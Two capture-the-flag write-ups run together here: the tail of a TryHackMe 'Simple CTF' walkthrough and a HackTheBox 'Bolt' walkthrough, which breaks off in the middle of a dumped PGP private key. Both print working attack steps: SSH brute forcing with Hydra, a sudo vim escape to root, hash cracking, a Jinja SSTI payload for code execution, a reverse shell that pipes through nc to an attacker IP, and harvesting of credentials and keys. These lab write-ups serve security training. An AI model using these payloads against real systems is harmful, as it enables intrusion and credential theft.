10.10.158.205 - login "mitch" - pass "fuckyou" - 39 of 14344401 [child 0] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "123123" - 40 of 14344401 [child 4] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "football" - 41 of 14344401 [child 13] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "secret" - 42 of 14344401 [child 2] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "andrea" - 43 of 14344401 [child 3] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "carlos" - 44 of 14344401 [child 5] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "jennifer" - 45 of 14344401 [child 7] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "joshua" - 46 of 14344401 [child 8] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "bubbles" - 47 of 14344401 [child 1] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "1234567890" - 48 of 14344401 [child 6] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "superman" - 49 of 14344401 [child 10] (0/2) [ATTEMPT] target 10.10.158.205 - login "mitch" - pass "hannah" - 50 of 14344401 [child 11] (0/2) [2222][ssh] host: 10.10.158.205 login: mitch password: secret [STATUS] attack finished for 10.10.158.205 (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 2 final worker threads did not complete until end. [ERROR] 2 targets did not resolve or could not be connected [ERROR] 0 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-04 21:04:18 ``` `[2222][ssh] host: 10.10.158.205 login: mitch password: secret` `secret` 9. Where can you login with the details obtained? ``` kali@kali:~/CTFs/tryhackme/Simple CTF$ ssh [email protected] -p 2222 The authenticity of host '[10.10.158.205]:2222 ([10.10.158.205]:2222)' can't be established. ECDSA key fingerprint is SHA256:Fce5J4GBLgx1+iaSMBjO+NFKOjZvL5LOVF5/jc0kwt8. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[10.10.158.205]:2222' (ECDSA) to the list of known hosts. [email protected]'s password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0 updates are security updates. Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190 ``` `SSH` 10. What's the user flag? ``` $ whoami mitch $ ls user.txt $ cat user.txt G00d j0b, keep up! $ ``` 12. Is there any other user in the home directory? What's its name? ``` $ ls /home mitch sunbath $ ``` `sunbath` 13. What can you leverage to spawn a privileged shell? ``` $ sudo -l User mitch may run the following commands on Machine: (root) NOPASSWD: /usr/bin/vim ``` `vim` 14. What's the root flag? ``` $ sudo vim -c ':!/bin/sh' # cd /root # ls root.txt # cat root.txt W3ll d0n3. You made it! # ``` `W3ll d0n3. You made it!`
# Bolt - HackTheBox - Writeup Linux, 30 Base Points, Medium ## Machine ![‏‏Bolt.JPG](images/Bolt.JPG) ## TL;DR To solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```22```, ```80``` and ```443```. ***User***: From port ```80``` we get a tar file which contains docker image, from the docker image we found an invite code to ```demo.bolt.htb``` subdomain registration, Using the same credentials can login to ```mail.bolt.htb``` which vulnerable to STTI attack (from ```username``` field on ```demo.bolt.htb``` admin profile), Using that we get a reverse shell as ```www-data```, Found password of ```eddie``` user on ```/etc/passbolt/passbolt.php``` file. ***Root***: Found PGP private key on Chrome extension log, Reading mail from ```email_queue``` table on passbolt database, Decrypting the mail using the PGP private key and we get the ```root``` password. ![pwn.JPG](images/pwn.JPG) ## Bolt Solution ### User Let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt] └──╼ $ nmap -sV -sC -oA nmap/Bolt 10.10.11.114 Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-30 23:22 IDT Nmap scan report for 10.10.11.114 Host is up (0.12s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Starter Website - About 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) | http-title: Passbolt | Open source password manager for teams |_Requested resource was /auth/login?redirect=%2F | ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU | Not valid before: 2021-02-24T19:11:23 |_Not valid after: 2022-02-24T19:11:23 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` By observing port ```80``` we get the following web page: ![port80.JPG](images/port80.JPG) And By observing port ```443``` (On [https://passbolt.bolt.htb](https://passbolt.bolt.htb)) we get the following web page: ![port443.JPG](images/port443.JPG) Let's search for ```vhosts``` using ```gobuster```: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image] └──╼ $ gobuster vhost -u http://bolt.htb -w subdomains-top1milion.txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://bolt.htb [+] Method: GET [+] Threads: 100 [+] Wordlist: subdomains-top1milion.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/10/01 00:41:51 Starting gobuster in VHOST enumeration mode =============================================================== Found: demo.bolt.htb (Status: 302) [Size: 219] Found: mail.bolt.htb (Status: 200) [Size: 4943] Found: MAIL.bolt.htb (Status: 200) [Size: 4943] Found: mail.bolt.htb (Status: 200) [Size: 4943] ``` By browsing to [http://demo.bolt.htb](http://demo.bolt.htb) we get almost the same page as the page that exists on port ```80```, except the invite code on the register page: ![register.JPG](images/register.JPG) On port ```80```, By clicking on [Download](http://bolt.htb/download) we get the following: ![download.JPG](images/download.JPG) And by clicking on [Download Now](http://bolt.htb/uploads/image.tar) we get a ```tar``` file which contains the followings directories: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image] └──╼ $ ls 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162 image.tar 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b manifest.json 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad repositories 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf ``` So actuaclly It's a [docker image](https://docs.docker.com/engine/reference/commandline/images/), Let's load it using ```docker load``` command: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image/] └──╼ $ docker load -i image.tar 3fc64803ca2d: Loading layer [==================================================>] 4.463MB/4.463MB 73f2f98bc222: Loading layer [==================================================>] 7.68kB/7.68kB 8f2df5d06a26: Loading layer [==================================================>] 62.86MB/62.86MB a1e4f9dc4110: Loading layer [==================================================>] 57.57MB/57.57MB f0c4120bc314: Loading layer [==================================================>] 29.79MB/29.79MB 14ec2ed1c30d: Loading layer [==================================================>] 6.984MB/6.984MB 68c03965721f: Loading layer [==================================================>] 3.072kB/3.072kB fec67b58fd48: Loading layer [==================================================>] 19.97kB/19.97kB 7fa1531c7420: Loading layer [==================================================>] 7.168kB/7.168kB e45bbea785e3: Loading layer [==================================================>] 15.36kB/15.36kB ac16908b339d: Loading layer [==================================================>] 8.192kB/8.192kB Loaded image: flask-dashboard-adminlte_appseed-app:latest ``` Now we can see this image: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image/] └──╼ $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE flask-dashboard-adminlte_appseed-app latest 859e74798e6c 6 months ago 154MB ``` Let's create a new docker from this image by running ```docker run```: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image/] └──╼ $ docker run --name test -it flask-dashboard-adminlte_appseed-app ... ``` Now let's run ```docker exec``` to get a shell to this container: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image/] └──╼ $ docker exec -it 535e3df2d317 /bin/sh / # ``` NOTE: We can use [dive](https://github.com/wagoodman/dive) which is A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image, Using ```dive``` we can see which files added/modified for each layer. Or we can extract the archive tar ```image.tar``` - Let's use this method. By enumerating on ```a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2``` directory we found file ```layer.tar```, By extracting the file we found a ```SQLite3``` DB file: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2] └──╼ $ ls db.sqlite3 json layer.tar root tmp VERSION ``` Let's observe the DB file using ```sqlite3```: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image] └──╼ $ sqlite3 db.sqlite3 sqlite> .tables User sqlite> select * from User; 1|admin|[email protected]|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.|| ``` We found hash password of ```[email protected]```, Let's crack it using ```john```: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image] └──╼ $ john --wordlist=~/hackthebox/rockyou.txt hash Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status deadbolt (?) 1g 0:00:00:00 DONE (2021-10-01 01:04) 1.369g/s 236712p/s 236712c/s 236712C/s dohaqatar..curlyfry Use the "--show" option to display all of the cracked passwords reliably Session completed ``` And we found the password of ```[email protected]``` which is ```deadbolt```. By observing ```745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf``` directory we found the following: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image/745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf] └──╼ $ ls config.py gunicorn-cfg.py json layer.tar requirements.txt run.py VERSION ``` ```config.py``` file contains: ```python # -*- encoding: utf-8 -*- """ Copyright (c) 2019 - present AppSeed.us """ import os from decouple import config class Config(object): basedir = os.path.abspath(os.path.dirname(__file__)) # Set up the App SECRET_KEY SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007') # This will create a file in <app> FOLDER SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3') SQLALCHEMY_TRACK_MODIFICATIONS = False MAIL_SERVER = 'localhost' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None DEFAULT_MAIL_SENDER = '[email protected]' class ProductionConfig(Config): DEBUG = False # Security SESSION_COOKIE_HTTPONLY = True REMEMBER_COOKIE_HTTPONLY = True REMEMBER_COOKIE_DURATION = 3600 # PostgreSQL database SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format( config( 'DB_ENGINE' , default='postgresql' ), config( 'DB_USERNAME' , default='appseed' ), config( 'DB_PASS' , default='pass' ), config( 'DB_HOST' , default='localhost' ), config( 'DB_PORT' , default=5432 ), config( 'DB_NAME' , default='appseed-flask' ) ) class DebugConfig(Config): DEBUG = True # Load all possible configurations config_dict = { 'Production': ProductionConfig, 'Debug' : DebugConfig } ``` We can see there another credentials - DB ```appseed:pass```, Secret Key: ```S#perS3crEt_007```. On ```41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad``` directory we find the following: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt/image/41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad] └──╼ $ ls app json layer.tar VERSION ``` ```app``` directory contains the application code, The interesting file is ```app/base/routes.py```: ```python cat routes.py # -*- encoding: utf-8 -*- """ Copyright (c) 2019 - present AppSeed.us """ from flask import jsonify, render_template, redirect, request, url_for from flask_login import ( current_user, login_required, login_user, logout_user ) from app import db, login_manager from app.base import blueprint from app.base.forms import LoginForm, CreateAccountForm from app.base.models import User from hmac import compare_digest as compare_hash import crypt @blueprint.route('/') def route_default(): return redirect(url_for('base_blueprint.login')) ## Login & Registration @blueprint.route('/login', methods=['GET', 'POST']) def login(): login_form = LoginForm(request.form) if 'login' in request.form: # read form data username = request.form['username'] password = request.form['password'] # Locate user user = User.query.filter_by(username=username).first() # Check the password stored_password = user.password stored_password = stored_password.decode('utf-8') if user and compare_hash(stored_password,crypt.crypt(password,stored_password)): login_user(user) return redirect(url_for('base_blueprint.route_default')) # Something (user or pass) is not ok return render_template( 'accounts/login.html', msg='Wrong user or password', form=login_form) if not current_user.is_authenticated: return render_template( 'accounts/login.html', form=login_form) return redirect(url_for('home_blueprint.index')) @blueprint.route('/register', methods=['GET', 'POST']) def register(): login_form = LoginForm(request.form) create_account_form = CreateAccountForm(request.form) if 'register' in request.form: username = request.form['username'] email = request.form['email' ] code = request.form['invite_code'] if code != 'XNSS-HSJW-3NGU-8XTJ': return render_template('code-500.html') data = User.query.filter_by(email=email).first() if data is None and code == 'XNSS-HSJW-3NGU-8XTJ': # Check usename exists user = User.query.filter_by(username=username).first() if user: return render_template( 'accounts/register.html', msg='Username already registered', success=False, form=create_account_form) # Check email exists user = User.query.filter_by(email=email).first() if user: return render_template( 'accounts/register.html', msg='Email already registered', success=False, form=create_account_form) # else we can create the user user = User(**request.form) db.session.add(user) db.session.commit() return render_template( 'accounts/register.html', msg='User created please <a href="/login">login</a>', success=True, form=create_account_form) else: return render_template( 'accounts/register.html', form=create_account_form) @blueprint.route('/logout') def logout(): logout_user() return redirect(url_for('base_blueprint.login')) ## Errors @login_manager.unauthorized_handler def unauthorized_handler(): return render_template('page-403.html'), 403 @blueprint.errorhandler(403) def access_forbidden(error): return render_template('page-403.html'), 403 @blueprint.errorhandler(404) def not_found_error(error): return render_template('page-404.html'), 404 @blueprint.errorhandler(500) def internal_error(error): return render_template('page-500.html'), 500 ``` As we can see, If we want to register we need to provide the invite code ```XNSS-HSJW-3NGU-8XTJ```, We can register using this invite code: ![createaccount.JPG](images/createaccount.JPG) By login to [http://demo.bolt.htb](http://demo.bolt.htb) using our credentials we get: ![dashboarddemo.JPG](images/dashboarddemo.JPG) And by login to [http://bolt.htb](http://bolt.htb) we get: ![dashboard.JPG](images/dashboard.JPG) As we can see, We can log in to both portals and we have more options on the demo domain. Using the same credentials we can log in to [http://mail.bolt.htb](http://mail.bolt.htb): ![mailbolt.JPG](images/mailbolt.JPG) We can see an hints on [http://bolt.htb](http://bolt.htb) dashboard: ![hints.JPG](images/hints.JPG) By enumerating the docker image we found the following file ```41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py``` with the following function: ```python @blueprint.route('/confirm/changes/<token>') def confirm_changes(token): """Confirmation Token""" try: email = ts.loads(token, salt="changes-confirm-key", max_age=86400) except: abort(404) user = User.query.filter_by(username=email).first_or_404() name = user.profile_update template = open('templates/emails/update-name.html', 'r').read() msg = Message( recipients=[f'{user.email}'], sender = '[email protected]', reply_to = '[email protected]', subject = "Your profile changes have been confirmed." ) msg.html = render_template_string(template % name) mail.send(msg) return render_template('index.html') ``` So as we can see, If we are changing our user name It will send an email to our mailbox with template ```HTML``` render. We can use [STTI attcak](https://portswigger.net/research/server-side-template-injection) on the username field. We can change our username on [http://demo.bolt.htb/admin/profile](http://demo.bolt.htb/admin/profile): ![usernamechange.JPG](images/usernamechange.JPG) By writing the following template on username we can get RCE: ```python {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} ``` ![rcels.JPG](images/rcels.JPG) When we have changed the username we get two emails, one with a confirmation link: ![confirm.JPG](images/confirm.JPG) And when we are clicked on the confirmation link we get the second email with our injection: ![injection.JPG](images/injection.JPG) We can get a reverse shell by using the following: ```python {{config.__class__.__init__.__globals__['os'].popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 4242 >/tmp/f').read()}} ``` ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt] └──╼ $ nc -lvp 4242 listening on [any] 4242 ... connect to [10.10.14.14] from passbolt.bolt.htb [10.10.11.114] 35886 /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ ls /home eddie clark ``` We can see two users, ```eddie``` and ```clark```. By enumerating we found DB credentials on ```/etc/passbolt/passbolt.php``` (which is the application that runs on port 443): ```php ... // Database configuration. 'Datasources' => [ 'default' => [ 'host' => 'localhost', 'port' => '3306', 'username' => 'passbolt', 'password' => 'rT2;jW7<eY8!dX8}pQ8%', 'database' => 'passboltdb', ], ], ... ``` And we found the password ```rT2;jW7<eY8!dX8}pQ8%``` is the password of ```eddie``` user: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt] └──╼ $ ssh [email protected] [email protected]'s password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-051300-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Your Hardware Enablement Stack (HWE) is supported until April 2025. You have mail. Last login: Thu Sep 9 11:10:07 2021 from 10.10.14.6 eddie@bolt:~$ cat user.txt a032e24864eaab4850855d6362dd2084 ``` And we get the user flag ```a032e24864eaab4850855d6362dd2084```. ### Root By reading ```eddie``` user emails we get the following hint: ```console eddie@bolt:$ cat /var/mail/eddie From [email protected] Thu Feb 25 14:20:19 2021 Return-Path: <[email protected]> X-Original-To: [email protected] Delivered-To: [email protected] Received: by bolt.htb (Postfix, from userid 1001) id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST) Subject: Important! To: <[email protected]> X-Mailer: mail (GNU Mailutils 3.7) Message-Id: <[email protected]> Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST) From: Clark Griswold <[email protected]> Hey Eddie, The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account. Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning... -Clark ``` Reading the [passbolt documantation](https://help.passbolt.com/assets/files/Security%20White%20Paper%20-%20Passbolt%20Pro%20Edition.pdf) we see: ![privatekey.JPG](images/privatekey.JPG) By running ```linpeas``` we can see the following: ```console ... [+] Looking for ssl/ssh files ChallengeResponseAuthentication no UsePAM yes Possible private SSH keys were found! /etc/ImageMagick-6/mime.xml /home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js /home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log ... ``` As we can see, This is a log file of plugin extensions, By getting ```strings``` from this log file we found PGP private keys: ```console eddie@bolt:/home/eddie$ strings "/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log" ... t-private-gpgkeys":"{\"MY_KEY_ID\":{\"key\":\"-----BEGIN PGP PRIVATE KEY BLOCK-----\\r\\nVersion: OpenPGP.js v4.10.9\\r\\nComment: https://openpgpjs.org\\r\\n\\r\\n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\\r\\nPSwYYWlAywj5\\r\\n=cqxZ\\r\\n-----END PGP PRIVATE KEY BLOCK-----\\r\\n\",\"keyId\":\"dc3b4abd\",\"userIds\":[{\"name\":\"Eddie Johnson\",\"email\":\"[email protected]\"}],\"fingerprint\":\"df426bc7a4a8af58e50eda0e1c2741a3dc3b4abd\",\"created\":\"Thu Feb 25 2021 14:49:21 GMT-0700 (Mountain Standard Time)\",\"expires\":\"Never\",\"algorithm\":\"rsa_encrypt_sign\",\"length\":2048,\"private\":true,\"user_id\":\"MY_KEY_ID\"}}","passbolt-public-gpgkeys":"{\"ba192ac8-99c0-3c89-a36f-a6094f5b9391\":{\"key\":\"-----BEGIN PGP PUBLIC KEY BLOCK-----\\r\\nVersion: OpenPGP.js v4.10.9\\r\\nComment: 